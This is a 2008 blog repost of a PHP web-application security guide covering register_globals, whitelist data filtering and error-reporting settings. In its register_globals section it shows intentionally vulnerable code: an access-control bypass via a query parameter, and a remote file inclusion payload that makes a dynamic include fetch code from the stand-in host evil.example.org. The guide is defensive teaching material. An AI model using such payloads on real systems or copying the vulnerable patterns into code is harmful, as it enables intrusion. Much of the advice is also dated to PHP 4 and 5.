January 24, 2008

Phpsec Overview









1. Overview





1.1 What Is Security?





1.2 Basic Steps





1.3 Register Globals





1.4 Data Filtering





1.4.1 The Dispatch Method





1.4.2 The Include Method





1.4.3 Filtering Examples





1.4.4 Naming Conventions





1.4.5 Timing





1.5 Error Reporting



§



§



§
Security is a measurement, not a
characteristic.


It is unfortunate that
many software projects list security as a simple requirement to be met. Is it
secure? This question is as subjective as asking if something is hot.



§
Security must be balanced with
expense.


It is easy and
relatively inexpensive to provide a sufficient level of security for most
applications. However, if your security needs are very demanding, because you're
protecting information that is very valuable, then you must achieve a higher
level of security at an increased cost. This expense must be included in the
budget of the project.



§
Security must be balanced with
usability.


It is not uncommon
that steps taken to increase the security of a web application also decrease the
usability. Passwords, session timeouts, and access control all create obstacles
for a legitimate user. Sometimes these are necessary to provide adequate
security, but there isn't one solution that is appropriate for every
application. It is wise to be mindful of your legitimate users as you implement
security measures.



§
Security must be part of the design.


If you do not design
your application with security in mind, you are doomed to be constantly
addressing new security vulnerabilities. Careful programming cannot make up for
a poor design.


Basic Steps



§
Consider illegitimate uses of your
application.


A secure design is
only part of the solution. During development, when the code is being written,
it is important to consider illegitimate uses of your application. Often, the
focus is on making the application work as intended, and while this is necessary
to deliver a properly functioning application, it does nothing to help make the
application secure.



§
Educate yourself.


The fact that you are
here is evidence that you care about security, and as trite as it may sound,
this is the most important step. There are numerous resources available on the
web and in print, and several resources are listed in the PHP Security
Consortium's Library at

http://phpsec.org/library/
.



§
If nothing else, FILTER ALL EXTERNAL
DATA.


Data filtering is the
cornerstone of web application security in any language and on any platform. By
initializing your variables and filtering all data that comes from an external
source, you will address a majority of security vulnerabilities with very little
effort. A whitelist approach is better than a blacklist approach. This means
that you should consider all data invalid unless it can be proven valid (rather
than considering all data valid unless it can be proven invalid).


Register Globals


The
register_globals

directive is disabled by default in PHP versions 4.2.0 and greater. While it
does not represent a security vulnerability, it is a security risk. Therefore,
you should always develop and deploy applications with


register_globals

disabled.


Why is it a security risk? Good examples are
difficult to produce for everyone, because it often requires a unique situation
to make the risk clear. However, the most common example is that found in the
PHP manual:


<?php 

 

if (authenticated_user()) 

{ 

    $authorized = true; 

} 

 

if ($authorized) 

{ 

    include '/highly/sensitive/data.php'; 

} 

 

?>

With
register_globals
enabled,
this page can be requested with

?authorized=1
in
the query string to bypass the intended access control. Of course, this
particular vulnerability is the fault of the developer, not


register_globals
,
but this indicates the increased risk posed by the directive. Without it,
ordinary global variables (such as

$authorized

in the example) are not affected by data submitted by the client. A best
practice is to initialize all variables and to develop with


error_reporting

set to

E_ALL
, so that the use of
an uninitialized variable won't be overlooked during development.


Another example that illustrates how

register_globals

can be problematic is the following use of


include

with a dynamic path:


<?php

 

include "$path/script.php";

 

?>

With
register_globals
enabled,
this page can be requested with

?path=http%3A%2F%2Fevil.example.org%2F%3F

in the query string in order to equate this example to the following:


<?php

 

include 'http://evil.example.org/?/script.php';

 

?>

If
allow_url_fopen
is
enabled (which it is by default, even in


php.ini-recommended
),
this will include the output of

http://evil.example.org/

just as if it were a local file. This is a major security vulnerability, and it
is one that has been discovered in some popular open source applications.


Initializing

$path
can mitigate
this particular risk, but so does disabling


register_globals
.
Whereas a developer's mistake can lead to an uninitialized variable, disabling

register_globals
is a
global configuration change that is far less likely to be overlooked.


The convenience is wonderful, and those of us who
have had to manually handle form data in the past appreciate this. However,
using the

$_POST

and

$_GET

superglobal arrays is still very convenient, and it's not worth the added risk
to enable

register_globals
. While I
completely disagree with arguments that equate


register_globals

to poor security, I do recommend that it be disabled.


In addition to all of this, disabling

register_globals

encourages developers to be mindful of the origin of data, and this is an
important characteristic of any security-conscious developer.


Data Filtering


As stated previously, data filtering is the
cornerstone of web application security, and this is independent of programming
language or platform. It involves the mechanism by which you determine the
validity of data that is entering and exiting the application, and a good
software design can help developers to:



§
Ensure that data filtering cannot be
bypassed,



§
Ensure that invalid data cannot be
mistaken for valid data, and



§
Identify the origin of data.


Opinions about how to ensure that data filtering
cannot be bypassed vary, but there are two general approaches that seem to be
the most common, and both of these provide a sufficient level of assurance.



The Dispatch Method


One method is to have a single PHP script
available directly from the web (via URL). Everything else is a module included
with

include

or

require

as needed. This method usually requires that a


GET

variable be passed along with every URL, identifying the task. This


GET

variable can be considered the replacement for the script name that would be
used in a more simplistic design. For example:


http://example.org/dispatch.php?task=print_form

The file

dispatch.php
is the only
file within document root. This allows a developer to do two important things:



§
Implement some global security
measures at the top of

dispatch.php
and be
assured that these measures cannot be bypassed.



§
Easily see that data filtering takes
place when necessary, by focusing on the control flow of a specific task.


To further explain this, consider the following
example

dispatch.php

script:


<?php

 

/* Global security measures */

 

switch ($_GET['task'])

{

    case 'print_form':

        include '/inc/presentation/form.inc';

        break;

 

    case 'process_form':

        $form_valid = false;

        include '/inc/logic/process.inc';

        if ($form_valid)

        {

            include '/inc/presentation/end.inc';

        }

        else

        {

            include '/inc/presentation/form.inc';

        }

        break;

 

    default:

        include '/inc/presentation/index.inc';

        break;

}

 

?>

If this is the only public PHP script, then it
should be clear that the design of this application ensures that any global
security measures taken at the top cannot be bypassed. It also lets a developer
easily see the control flow for a specific task. For example, instead of
glancing through a lot of code, it is easy to see that


end.inc

is only displayed to a user when

$form_valid

is

true
,
and because it is initialized as

false
just before
process.inc

is included, it is clear that the logic within


process.inc

must set it to

true
, otherwise the form
is displayed again (presumably with appropriate error messages).


Note

If you use a directory index file such as


index.php
(instead
of

dispatch.php
),
you can use URLs such as

http://example.org/?task=print_form
.


You can also use the Apache

ForceType

directive or

mod_rewrite
to
accommodate URLs such as

http://example.org/app/print-form
.



The Include Method


Another approach is to have a single module that
is responsible for all security measures. This module is included at the top (or
very near the top) of all PHP scripts that are public (available via URL).
Consider the following

security.inc

script:


<?php

 

switch ($_POST['form'])

{

    case 'login':

        $allowed = array();

        $allowed[] = 'form';

        $allowed[] = 'username';

        $allowed[] = 'password';

 

        $sent = array_keys($_POST);

 

        if ($allowed == $sent)

        {

            include '/inc/logic/process.inc';

        }

 

        break;

}

 

?>

In this example, each form that is submitted is
expected to have a form variable named


form
that uniquely
identifies it, and

security.inc

has a separate case to handle the data filtering for that particular form. An
example of an HTML form that fulfills this requirement is as follows:


<form action="/receive.php" method="POST">

<input type="hidden" name="form" value="login" />

<p>Username:

<input type="text" name="username" /></p>

<p>Password:

<input type="password" name="password" /></p>

<input type="submit" />

</form>

An array named

$allowed

is used to identify exactly which form variables are allowed, and this list must
be identical in order for the form to be processed. Control flow is determined
elsewhere, and

process.inc
is
where the actual data filtering takes place.


Note

A good way to ensure that

security.inc

is always included at the top of every PHP script is to use the


auto_prepend_file

directive.



Filtering Examples


It is important to take a whitelist approach to
your data filtering, and while it is impossible to give examples for every type
of form data you may encounter, a few examples can help to illustrate a sound
approach.


The following validates an email address:


<?php

 

$clean = array();

 

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

 

if (preg_match($email_pattern, $_POST['email'])) 

{ 

    $clean['email'] = $_POST['email']; 

}

 

?>

The following ensures that

$_POST['color']

is

red
,

green
,
or

blue
:


<?php

 

$clean = array();

 

switch ($_POST['color'])

{

    case 'red':

    case 'green':

    case 'blue':

        $clean['color'] = $_POST['color'];

        break;

}

 

?>

The following example ensures that

$_POST['num']

is an integer:


<?php

 

$clean = array();

 

if ($_POST['num'] == strval(intval($_POST['num'])))

{

    $clean['num'] = $_POST['num'];

}

 

?>

The following example ensures that

$_POST['num']

is a float:


<?php

 

$clean = array();

 

if ($_POST['num'] == strval(floatval($_POST['num'])))

{

    $clean['num'] = $_POST['num'];

}

 

?>


Naming Conventions


Each of the previous examples make use of an
array named

$clean
.
This illustrates a good practice that can help developers identify whether data
is potentially tainted. You should never make a practice of validating data and
leaving it in

$_POST

or

$_GET
,
because it is important for developers to always be suspicious of data within
these superglobal arrays.


In addition, a more liberal use of

$clean

can allow you to consider everything else to be tainted, and this more closely
resembles a whitelist approach and therefore offers an increased level of
security.


If you only store data in

$clean

after it has been validated, the only risk in a failure to validate something is
that you might reference an array element that doesn't exist rather than
potentially tainted data.



Timing


Once a PHP script begins processing, the entire
HTTP request has been received. This means that the user does not have another
opportunity to send data, and therefore no data can be injected into your script
(even if

register_globals

is enabled). This is why initializing your variables is such a good practice.


Error Reporting


In versions of PHP prior to PHP 5, released 13
Jul 2004, error reporting is pretty simplistic. Aside from careful programming,
it relies mostly upon a few specific PHP configuration directives:



§

error_reporting


This directive sets
the level of error reporting desired. It is strongly suggested that you set this
to

E_ALL

for both development and production.



§

display_errors


This directive
determines whether errors should be displayed on the screen (included in the
output). You should develop with this set to


On
, so that you
can be alerted to errors during development, and you should set this to


Off

for production, so that errors are hidden from the users (and potential
attackers).



§

log_errors


This directive
determines whether errors should be written to a log. While this may raise
performance concerns, it is desirable that errors are rare. If logging errors
presents a strain on the disk due to the heavy I/O, you probably have larger
concerns than the performance of your application. You should set this directive
to

On

in production.



§

error_log


This directive
indicates the location of the log file to which errors are written. Make sure
that the web server has write privileges for the specified file.


Having

error_reporting
set to

E_ALL
will help to enforce the initialization of variables, because a
reference to an undefined variable generates a notice.


Note

Each of these directives can be set with


ini_set()
, in case
you do not have access to

php.ini
or another method
of setting these directives.


A good reference on all error handling and
reporting functions is in the PHP manual:




http://www.php.net/manual/en/ref.errorfunc.php


PHP 5 includes exception handling. For more
information, see:




http://www.php.net/manual/language.exceptions.php


Related Posts by Categories



0 comments: